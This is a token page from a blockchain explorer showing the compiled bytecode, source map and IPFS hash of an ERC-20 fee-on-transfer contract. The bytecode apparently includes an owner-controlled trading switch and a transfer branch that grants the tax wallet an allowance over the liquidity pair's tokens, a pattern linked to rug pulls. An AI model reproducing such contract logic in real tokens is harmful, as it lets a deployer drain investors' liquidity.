0a3505050565b6001600160a01b0383166107cd575f80fd5b6001600160a01b0382166107df575f80fd5b5f81116107ea575f80fd5b6001600160a01b0383165f9081526005602052604090205460ff1615801561082a57506001600160a01b0382165f9081526005602052604090205460ff16155b156109c657601754600160a01b900460ff16610858575f546001600160a01b03848116911614610858575f80fd5b6017546001600160a01b0383811691161480159061088457506015546001600160a01b03838116911614155b801561089957506001600160a01b0382163014155b156108e1576010548111156108ac575f80fd5b6017546001600160a01b038381169116146108e157601154816108ce84610432565b6108d89190611367565b106108e1575f80fd5b5f6108eb30610432565b601254909150808210159061090190600261137a565b82106109155761091282600261137a565b91505b80801561092c5750601754600160a81b900460ff16155b801561094657506017546001600160a01b03868116911614155b801561095b5750601754600160b01b900460ff165b801561097f57506001600160a01b0385165f9081526005602052604090205460ff16155b80156109a357506001600160a01b0384165f9081526005602052604090205460ff16155b156109c3576109b182610bc4565b4780156109c1576109c181610d34565b505b50505b6001600160a01b0383165f9081526005602052604090205460019060ff1680610a0657506001600160a01b0383165f9081526005602052604090205460ff165b80610a3857506017546001600160a01b03858116911614801590610a3857506017546001600160a01b03848116911614155b15610a7e5750601754601380546001600160a01b0319166001600160a01b039283169081179091556014545f92610a79929116670de0b6b3a7640000610698565b610af8565b6017546001600160a01b038581169116148015610aa957506016546001600160a01b03848116911614155b15610abb57600854600c55600954600d555b6017546001600160a01b038481169116148015610ae657506016546001600160a01b03858116911614155b15610af857600a54600c55600b54600d555b610b0484848484610d6f565b50505050565b5f8184841115610b2d5760405162461bcd60e51b815260040161047c9190611202565b505f610b398486611391565b95945050505050565b5f600654821115610ba85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161047c565b5f610bb1610d9d565b9050610bbd8382610dbe565b9392505050565b6017805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c0a57610c0a6113a4565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c61573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c8591906113b8565b81600181518110610c9857610c986113a4565b6001600160a01b039283166020918202929092010152601654610cbe9130911684610698565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790610cf69085905f908690309042906004016113d3565b5f604051808303815f87803b158015610d0d575f80fd5b505af1158015610d1f573d5f803e3d5ffd5b50506017805460ff60a81b1916905550505050565b6014546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610d6b573d5f803e3d5ffd5b5050565b80610d7c57610d7c610dff565b610d87848484610e2c565b80610b0457610b04600e54600c55600f54600d55565b5f805f610da8610f1d565b9092509050610db78282610dbe565b9250505090565b5f610bbd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f5c565b600c54158015610e0f5750600d54155b15610e1657565b600c8054600e55600d8054600f555f9182905555565b5f805f805f80610e3b87610f88565b6001600160a01b038f165f90815260026020526040902054959b50939950919750955093509150610e6c9087610fdd565b6001600160a01b03808b165f9081526002602052604080822093909355908a1681522054610e9a908661101e565b6001600160a01b0389165f90815260026020526040902055610ebb8161107c565b610ec584836110c2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f0a91815260200190565b60405180910390a3505050505050505050565b6006545f908190670de0b6b3a7640000610f378282610dbe565b821015610f5357505060065492670de0b6b3a764000092509050565b90939092509050565b5f8183610f7c5760405162461bcd60e51b815260040161047c9190611202565b505f610b398486611442565b5f805f805f805f805f610fa08a600c54600d546110e6565b9250925092505f610faf610d9d565b90505f805f610fc08e878787611138565b919e509c509a509598509396509194505050505091939550919395565b5f610bbd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b0a565b5f8061102a8385611367565b905083811015610bbd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047c565b5f611085610d9d565b90505f6110928383611184565b305f908152600260205260409020549091506110ae908261101e565b305f90815260026020526040902055505050565b6006546110cf9083610fdd565b6006556007546110df908261101e565b6007555050565b5f8080806110ff60646110f98989611184565b90610dbe565b90505f61111160646110f98a89611184565b90505f611128826111228b86610fdd565b90610fdd565b9992985090965090945050505050565b5f8080806111468886611184565b90505f6111538887611184565b90505f6111608888611184565b90505f611171826111228686610fdd565b939b939a50919850919650505050505050565b5f825f0361119357505f6103c5565b5f61119e838561137a565b9050826111ab8583611442565b14610bbd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047c565b5f6020808352835180828501525f5b8181101561122d57858101830151858201604001528201611211565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611261575f80fd5b50565b5f8060408385031215611275575f80fd5b82356112808161124d565b946020939093013593505050565b5f805f606084860312156112a0575f80fd5b83356112ab8161124d565b925060208401356112bb8161124d565b929592945050506040919091013590565b5f602082840312156112dc575f80fd5b8135610bbd8161124d565b5f80604083850312156112f8575f80fd5b82356113038161124d565b915060208301356113138161124d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156103c5576103c5611353565b80820281158282048414176103c5576103c5611353565b818103818111156103c5576103c5611353565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156113c8575f80fd5b8151610bbd8161124d565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156114215784516001600160a01b0316835293830193918301916001016113fc565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261145c57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122084b90e4df08f8b8b00b74c359b36e4eed089bc17674d1c3cf38ef9a19959724e64736f6c63430008140033
Deployed Bytecode Sourcemap
4287:11356:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6589:83;;;;;;;;;;-1:-1:-1;6659:5:0;;;;;;;;;;;;-1:-1:-1;;;6659:5:0;;;;6589:83;;;;;;;:::i;:::-;;;;;;;;7514:193;;;;;;;;;;-1:-1:-1;7514:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7514:193:0;1023:187:1;6866:95:0;;;;;;;;;;-1:-1:-1;4693:21:0;6866:95;;;1361:25:1;;;1349:2;1334:18;6866:95:0;1215:177:1;7715:446:0;;;;;;;;;;-1:-1:-1;7715:446:0;;;;;:::i;:::-;;:::i;5282:56::-;;;;;;;;;;;;;;;;6775:83;;;;;;;;;;-1:-1:-1;6775:83:0;;5892:1;2000:36:1;;1988:2;1973:18;6775:83:0;1858:184:1;5592:22:0;;;;;;;;;;-1:-1:-1;5592:22:0;;;;-1:-1:-1;;;;;5592:22:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;5592:22:0;2047:203:1;6969:138:0;;;;;;;;;;-1:-1:-1;6969:138:0;;;;;:::i;:::-;;:::i;1774:148::-;;;;;;;;;;;;;:::i;:::-;;15321:108;;;;;;;;;;;;;:::i;5168:49::-;;;;;;;;;;;;;;;;15437:166;;;;;;;;;;;;;:::i;1560:79::-;;;;;;;;;;-1:-1:-1;1598:7:0;1625:6;-1:-1:-1;;;;;1625:6:0;1560:79;;5224:51;;;;;;;;;;;;;;;;6680:87;;;;;;;;;;-1:-1:-1;6752:7:0;;;;;;;;;;;;-1:-1:-1;;;6752:7:0;;;;6680:87;;5550:35;;;;;;;;;;-1:-1:-1;5550:35:0;;;;-1:-1:-1;;;;;5550:35:0;;;7115:199;;;;;;;;;;-1:-1:-1;7115:199:0;;;;;:::i;:::-;;:::i;7322:184::-;;;;;;;;;;-1:-1:-1;7322:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7471:18:0;;;7439:7;7471:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7322:184;1930:244;;;;;;;;;;-1:-1:-1;1930:244:0;;;;;:::i;:::-;;:::i;7514:193::-;7616:4;7638:39;399:10;7661:7;7670:6;7638:8;:39::i;:::-;-1:-1:-1;7695:4:0;7514:193;;;;;:::o;7715:446::-;7847:4;7864:36;7874:6;7882:9;7893:6;7864:9;:36::i;:::-;7911:220;7934:6;399:10;7982:138;8038:6;7982:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7982:19:0;;;;;;:11;:19;;;;;;;;399:10;7982:33;;;;;;;;;;:37;:138::i;:::-;7911:8;:220::i;:::-;-1:-1:-1;8149:4:0;7715:446;;;;;:::o;6969:138::-;-1:-1:-1;;;;;7082:16:0;;7035:7;7082:16;;;:7;:16;;;;;;7062:37;;:19;:37::i;1774:148::-;1687:6;;-1:-1:-1;;;;;1687:6:0;399:10;1687:22;1679:67;;;;-1:-1:-1;;;1679:67:0;;;;;;;:::i;:::-;;;;;;;;;1881:1:::1;1865:6:::0;;1844:40:::1;::::0;-1:-1:-1;;;;;1865:6:0;;::::1;::::0;1844:40:::1;::::0;1881:1;;1844:40:::1;1912:1;1895:19:::0;;-1:-1:-1;;;;;;1895:19:0::1;::::0;;1774:148::o;15321:108::-;1687:6;;-1:-1:-1;;;;;1687:6:0;399:10;1687:22;1679:67;;;;-1:-1:-1;;;1679:67:0;;;;;;;:::i;:::-;4693:21:::1;15373:12;:22:::0;;;15397:14:::1;:24:::0;15321:108::o;15437:166::-;1687:6;;-1:-1:-1;;;;;1687:6:0;399:10;1687:22;1679:67;;;;-1:-1:-1;;;1679:67:0;;;;;;;:::i;:::-;15499:11:::1;::::0;-1:-1:-1;;;15499:11:0;::::1;;;15498:12;15490:48;;;::::0;-1:-1:-1;;;15490:48:0;;3697:2:1;15490:48:0::1;::::0;::::1;3679:21:1::0;3736:2;3716:18;;;3709:30;3775:25;3755:18;;;3748:53;3818:18;;15490:48:0::1;3495:347:1::0;15490:48:0::1;15549:11;:18:::0;;-1:-1:-1;;;;15569:18:0;-1:-1:-1;;;15569:18:0;;;15437:166::o;7115:199::-;7220:4;7242:42;399:10;7266:9;7277:6;7242:9;:42::i;1930:244::-;1687:6;;-1:-1:-1;;;;;1687:6:0;399:10;1687:22;1679:67;;;;-1:-1:-1;;;1679:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2019:22:0;::::1;2011:73;;;::::0;-1:-1:-1;;;2011:73:0;;4049:2:1;2011:73:0::1;::::0;::::1;4031:21:1::0;4088:2;4068:18;;;4061:30;4127:34;4107:18;;;4100:62;-1:-1:-1;;;4178:18:1;;;4171:36;4224:19;;2011:73:0::1;3847:402:1::0;2011:73:0::1;2121:6;::::0;;2100:38:::1;::::0;-1:-1:-1;;;;;2100:38:0;;::::1;::::0;2121:6;::::1;::::0;2100:38:::1;::::0;::::1;2149:6;:17:::0;;-1:-1:-1;;;;;;2149:17:0::1;-1:-1:-1::0;;;;;2149:17:0;;;::::1;::::0;;;::::1;::::0;;1930:244::o;8852:369::-;-1:-1:-1;;;;;8979:19:0;;8971:68;;;;-1:-1:-1;;;8971:68:0;;4456:2:1;8971:68:0;;;4438:21:1;4495:2;4475:18;;;4468:30;4534:34;4514:18;;;4507:62;-1:-1:-1;;;4585:18:1;;;4578:34;4629:19;;8971:68:0;4254:400:1;8971:68:0;-1:-1:-1;;;;;9058:21:0;;9050:68;;;;-1:-1:-1;;;9050:68:0;;4861:2:1;9050:68:0;;;4843:21:1;4900:2;4880:18;;;4873:30;4939:34;4919:18;;;4912:62;-1:-1:-1;;;4990:18:1;;;4983:32;5032:19;;9050:68:0;4659:398:1;9050:68:0;-1:-1:-1;;;;;9129:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9181:32;;1361:25:1;;;9181:32:0;;1334:18:1;9181:32:0;;;;;;;8852:369;;;:::o;9229:2138::-;-1:-1:-1;;;;;9351:18:0;;9343:27;;;;;;-1:-1:-1;;;;;9389:16:0;;9381:25;;;;;;9434:1;9425:6;:10;9417:19;;;;;;-1:-1:-1;;;;;9454:24:0;;;;;;:18;:24;;;;;;;;9453:25;:52;;;;-1:-1:-1;;;;;;9483:22:0;;;;;;:18;:22;;;;;;;;9482:23;9453:52;9449:1166;;;9562:11;;-1:-1:-1;;;9562:11:0;;;;9557:77;;1598:7;1625:6;-1:-1:-1;;;;;9602:15:0;;;1625:6;;9602:15;9594:24;;;;;;9659:7;;-1:-1:-1;;;;;9653:13:0;;;9659:7;;9653:13;;;;:36;;-1:-1:-1;9676:13:0;;-1:-1:-1;;;;;9670:19:0;;;9676:13;;9670:19;;9653:36;:59;;;;-1:-1:-1;;;;;;9693:19:0;;9707:4;9693:19;;9653:59;9650:257;;;9751:12;;9741:6;:22;;9733:31;;;;;;9792:7;;-1:-1:-1;;;;;9786:13:0;;;9792:7;;9786:13;9783:109;;9857:14;;9848:6;9832:13;9842:2;9832:9;:13::i;:::-;:22;;;;:::i;:::-;:39;9824:48;;;;;;9923:28;9954:24;9972:4;9954:9;:24::i;:::-;10032:19;;9923:55;;-1:-1:-1;10008:43:0;;;;;10095:21;;10115:1;10095:21;:::i;:::-;10071:20;:45;10068:143;;10173:22;:20;10194:1;10173:22;:::i;:::-;10150:45;;10068:143;10231:7;:18;;;;-1:-1:-1;10243:6:0;;-1:-1:-1;;;10243:6:0;;;;10242:7;10231:18;:37;;;;-1:-1:-1;10261:7:0;;-1:-1:-1;;;;;10253:15:0;;;10261:7;;10253:15;;10231:37;:52;;;;-1:-1:-1;10272:11:0;;-1:-1:-1;;;10272:11:0;;;;10231:52;:81;;;;-1:-1:-1;;;;;;10288:24:0;;;;;;:18;:24;;;;;;;;10287:25;10231:81;:108;;;;-1:-1:-1;;;;;;10317:22:0;;;;;;:18;:22;;;;;;;;10316:23;10231:108;10227:377;;;10360:38;10377:20;10360:16;:38::i;:::-;10446:21;10490:22;;10486:103;;10537:32;10550:18;10537:12;:32::i;:::-;10341:263;10227:377;9507:1108;;9449:1166;-1:-1:-1;;;;;10691:24:0;;10627:12;10691:24;;;:18;:24;;;;;;10642:4;;10691:24;;;:50;;-1:-1:-1;;;;;;10719:22:0;;;;;;:18;:22;;;;;;;;10691:50;10690:90;;;-1:-1:-1;10755:7:0;;-1:-1:-1;;;;;10747:15:0;;;10755:7;;10747:15;;;;:32;;-1:-1:-1;10772:7:0;;-1:-1:-1;;;;;10766:13:0;;;10772:7;;10766:13;;10747:32;10686:620;;;-1:-1:-1;10824:7:0;;10814;:17;;-1:-1:-1;;;;;;10814:17:0;-1:-1:-1;;;;;10824:7:0;;;10814:17;;;;;;10851:13;;10807:5;;10833:41;;10824:7;10851:13;4693:21;10833:8;:41::i;:::-;10686:620;;;10952:7;;-1:-1:-1;;;;;10944:15:0;;;10952:7;;10944:15;:43;;;;-1:-1:-1;10977:9:0;;-1:-1:-1;;;;;10963:24:0;;;10977:9;;10963:24;;10944:43;10941:150;;;11020:14;;11008:9;:26;11063:12;;11053:7;:22;10941:150;11150:7;;-1:-1:-1;;;;;11144:13:0;;;11150:7;;11144:13;:43;;;;-1:-1:-1;11177:9:0;;-1:-1:-1;;;;;11161:26:0;;;11177:9;;11161:26;;11144:43;11140:153;;;11220:15;;11208:9;:27;11264:13;;11254:7;:23;11140:153;11318:41;11333:4;11339:2;11343:6;11351:7;11318:14;:41::i;:::-;9332:2035;9229:2138;;;:::o;2538:224::-;2658:7;2694:12;2686:6;;;;2678:29;;;;-1:-1:-1;;;2678:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2718:9:0;2730:5;2734:1;2730;:5;:::i;:::-;2718:17;2538:224;-1:-1:-1;;;;;2538:224:0:o;8169:323::-;8264:7;8322;;8311;:18;;8289:110;;;;-1:-1:-1;;;8289:110:0;;5832:2:1;8289:110:0;;;5814:21:1;5871:2;5851:18;;;5844:30;5910:34;5890:18;;;5883:62;-1:-1:-1;;;5961:18:1;;;5954:40;6011:19;;8289:110:0;5630:406:1;8289:110:0;8410:19;8432:10;:8;:10::i;:::-;8410:32;-1:-1:-1;8460:24:0;:7;8410:32;8460:11;:24::i;:::-;8453:31;8169:323;-1:-1:-1;;;8169:323:0:o;11375:465::-;5987:6;:13;;-1:-1:-1;;;;5987:13:0;-1:-1:-1;;;5987:13:0;;;11477:16:::1;::::0;;11491:1:::1;11477:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11477:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11477:16:0::1;11453:40;;11522:4;11504;11509:1;11504:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11504:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11548:9:::1;::::0;:16:::1;::::0;;-1:-1:-1;;;11548:16:0;;;;:9;;;::::1;::::0;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;11504:7;;11548:16;;;;;:9;:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11538:4;11543:1;11538:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11538:26:0;;::::1;:7;::::0;;::::1;::::0;;;;;:26;11607:9:::1;::::0;11575:56:::1;::::0;11592:4:::1;::::0;11607:9:::1;11619:11:::0;11575:8:::1;:56::i;:::-;11642:9;::::0;:190:::1;::::0;-1:-1:-1;;;11642:190:0;;-1:-1:-1;;;;;11642:9:0;;::::1;::::0;:60:::1;::::0;:190:::1;::::0;11717:11;;11642:9:::1;::::0;11759:4;;11786::::1;::::0;11806:15:::1;::::0;11642:190:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6023:6:0;:14;;-1:-1:-1;;;;6023:14:0;;;-1:-1:-1;;;;11375:465:0:o;15209:104::-;15274:13;;15266:39;;-1:-1:-1;;;;;15274:13:0;;;;15266:39;;;;;15298:6;;15274:13;15266:39;15274:13;15266:39;15298:6;15274:13;15266:39;;;;;;;;;;;;;;;;;;;;;15209:104;:::o;11848:282::-;12004:7;11999:28;;12013:14;:12;:14::i;:::-;12038:44;12056:6;12064:9;12075:6;12038:17;:44::i;:::-;12098:7;12093:29;;12107:15;8783:17;;8771:9;:29;8821:15;;8811:7;:25;8727:117;14772:164;14814:7;14835:15;14852;14871:19;:17;:19::i;:::-;14834:56;;-1:-1:-1;14834:56:0;-1:-1:-1;14908:20:0;14834:56;;14908:11;:20::i;:::-;14901:27;;;;14772:164;:::o;3024:132::-;3082:7;3109:39;3113:1;3116;3109:39;;;;;;;;;;;;;;;;;:3;:39::i;8500:219::-;8547:9;;:14;:30;;;;-1:-1:-1;8565:7:0;;:12;8547:30;8543:43;;;8500:219::o;8543:43::-;8618:9;;;8598:17;:29;8656:7;;;8638:15;:25;-1:-1:-1;8676:13:0;;;;8700:11;8500:219::o;12138:610::-;12285:15;12315:23;12353:12;12380:23;12418:12;12445:13;12472:19;12483:7;12472:10;:19::i;:::-;-1:-1:-1;;;;;12520:15:0;;;;;;:7;:15;;;;;;12270:221;;-1:-1:-1;12270:221:0;;-1:-1:-1;12270:221:0;;-1:-1:-1;12270:221:0;-1:-1:-1;12270:221:0;-1:-1:-1;12270:221:0;-1:-1:-1;12520:28:0;;12270:221;12520:19;:28::i;:::-;-1:-1:-1;;;;;12502:15:0;;;;;;;:7;:15;;;;;;:46;;;;12580:18;;;;;;;:39;;12603:15;12580:22;:39::i;:::-;-1:-1:-1;;;;;12559:18:0;;;;;;:7;:18;;;;;:60;12630:16;12640:5;12630:9;:16::i;:::-;12657:23;12669:4;12675;12657:11;:23::i;:::-;12713:9;-1:-1:-1;;;;;12696:44:0;12705:6;-1:-1:-1;;;;;12696:44:0;;12724:15;12696:44;;;;1361:25:1;;1349:2;1334:18;;1215:177;12696:44:0;;;;;;;;12259:489;;;;;;12138:610;;;:::o;14944:257::-;15042:7;;14995;;;;4693:21;15110:20;15042:7;4693:21;15110:11;:20::i;:::-;15100:7;:30;15096:61;;;-1:-1:-1;;15140:7:0;;;4693:21;;-1:-1:-1;14944:257:0;-1:-1:-1;14944:257:0:o;15096:61::-;15176:7;;15185;;-1:-1:-1;14944:257:0;-1:-1:-1;14944:257:0:o;3164:223::-;3284:7;3319:12;3312:5;3304:28;;;;-1:-1:-1;;;3304:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3343:9:0;3355:5;3359:1;3355;:5;:::i;13130:615::-;13230:7;13252;13274;13296;13318;13340;13376:23;13401:12;13415:13;13445:40;13457:7;13466:9;;13477:7;;13445:11;:40::i;:::-;13375:110;;;;;;13496:19;13518:10;:8;:10::i;:::-;13496:32;;13540:15;13557:23;13582:12;13611:46;13623:7;13632:4;13638:5;13645:11;13611;:46::i;:::-;13539:118;;-1:-1:-1;13539:118:0;-1:-1:-1;13539:118:0;-1:-1:-1;13708:15:0;;-1:-1:-1;13725:4:0;;-1:-1:-1;13731:5:0;;-1:-1:-1;;;;;13130:615:0;;;;;;;:::o;2394:136::-;2452:7;2479:43;2483:1;2486;2479:43;;;;;;;;;;;;;;;;;:3;:43::i;2207:179::-;2265:7;;2297:5;2301:1;2297;:5;:::i;:::-;2285:17;;2326:1;2321;:6;;2313:46;;;;-1:-1:-1;;;2313:46:0;;7970:2:1;2313:46:0;;;7952:21:1;8009:2;7989:18;;;7982:30;8048:29;8028:18;;;8021:57;8095:18;;2313:46:0;7768:351:1;12756:211:0;12809:19;12831:10;:8;:10::i;:::-;12809:32;-1:-1:-1;12852:13:0;12868:22;:5;12809:32;12868:9;:22::i;:::-;12942:4;12926:22;;;;:7;:22;;;;;;12852:38;;-1:-1:-1;12926:33:0;;12852:38;12926:26;:33::i;:::-;12917:4;12901:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;12756:211:0:o;12975:147::-;13053:7;;:17;;13065:4;13053:11;:17::i;:::-;13043:7;:27;13094:10;;:20;;13109:4;13094:14;:20::i;:::-;13081:10;:33;-1:-1:-1;;12975:147:0:o;13753:469::-;13922:7;;;;14016:30;14042:3;14016:21;:7;14028:8;14016:11;:21::i;:::-;:25;;:30::i;:::-;14001:45;-1:-1:-1;14057:13:0;14073:28;14097:3;14073:19;:7;14085:6;14073:11;:19::i;:28::-;14057:44;-1:-1:-1;14112:23:0;14138:28;14057:44;14138:17;:7;14150:4;14138:11;:17::i;:::-;:21;;:28::i;:::-;14112:54;14202:4;;-1:-1:-1;14208:5:0;;-1:-1:-1;13753:469:0;;-1:-1:-1;;;;;13753:469:0:o;14230:534::-;14424:7;;;;14521:24;:7;14533:11;14521;:24::i;:::-;14503:42;-1:-1:-1;14556:12:0;14571:21;:4;14580:11;14571:8;:21::i;:::-;14556:36;-1:-1:-1;14603:13:0;14619:22;:5;14629:11;14619:9;:22::i;:::-;14603:38;-1:-1:-1;14652:23:0;14678:28;14603:38;14678:17;:7;14690:4;14678:11;:17::i;:28::-;14725:7;;;;-1:-1:-1;14751:4:0;;-1:-1:-1;14230:534:0;;-1:-1:-1;;;;;;;14230:534:0:o;2770:246::-;2828:7;2852:1;2857;2852:6;2848:47;;-1:-1:-1;2882:1:0;2875:8;;2848:47;2905:9;2917:5;2921:1;2917;:5;:::i;:::-;2905:17;-1:-1:-1;2950:1:0;2941:5;2945:1;2905:17;2941:5;:::i;:::-;:10;2933:56;;;;-1:-1:-1;;;2933:56:0;;8326:2:1;2933:56:0;;;8308:21:1;8365:2;8345:18;;;8338:30;8404:34;8384:18;;;8377:62;-1:-1:-1;;;8455:18:1;;;8448:31;8496:19;;2933:56:0;8124:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:356::-;3336:2;3318:21;;;3355:18;;;3348:30;3414:34;3409:2;3394:18;;3387:62;3481:2;3466:18;;3134:356::o;5062:127::-;5123:10;5118:3;5114:20;5111:1;5104:31;5154:4;5151:1;5144:15;5178:4;5175:1;5168:15;5194:125;5259:9;;;5280:10;;;5277:36;;;5293:18;;:::i;5324:168::-;5397:9;;;5428;;5445:15;;;5439:22;;5425:37;5415:71;;5466:18;;:::i;5497:128::-;5564:9;;;5585:11;;;5582:37;;;5599:18;;:::i;6173:127::-;6234:10;6229:3;6225:20;6222:1;6215:31;6265:4;6262:1;6255:15;6289:4;6286:1;6279:15;6305:251;6375:6;6428:2;6416:9;6407:7;6403:23;6399:32;6396:52;;;6444:1;6441;6434:12;6396:52;6476:9;6470:16;6495:31;6520:5;6495:31;:::i;6561:980::-;6823:4;6871:3;6860:9;6856:19;6902:6;6891:9;6884:25;6928:2;6966:6;6961:2;6950:9;6946:18;6939:34;7009:3;7004:2;6993:9;6989:18;6982:31;7033:6;7068;7062:13;7099:6;7091;7084:22;7137:3;7126:9;7122:19;7115:26;;7176:2;7168:6;7164:15;7150:29;;7197:1;7207:195;7221:6;7218:1;7215:13;7207:195;;;7286:13;;-1:-1:-1;;;;;7282:39:1;7270:52;;7377:15;;;;7342:12;;;;7318:1;7236:9;7207:195;;;-1:-1:-1;;;;;;;7458:32:1;;;;7453:2;7438:18;;7431:60;-1:-1:-1;;;7522:3:1;7507:19;7500:35;7419:3;6561:980;-1:-1:-1;;;6561:980:1:o;7546:217::-;7586:1;7612;7602:132;;7656:10;7651:3;7647:20;7644:1;7637:31;7691:4;7688:1;7681:15;7719:4;7716:1;7709:15;7602:132;-1:-1:-1;7748:9:1;;7546:217::o
Swarm Source
ipfs://84b90e4df08f8b8b00b74c359b36e4eed089bc17674d1c3cf38ef9a19959724e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.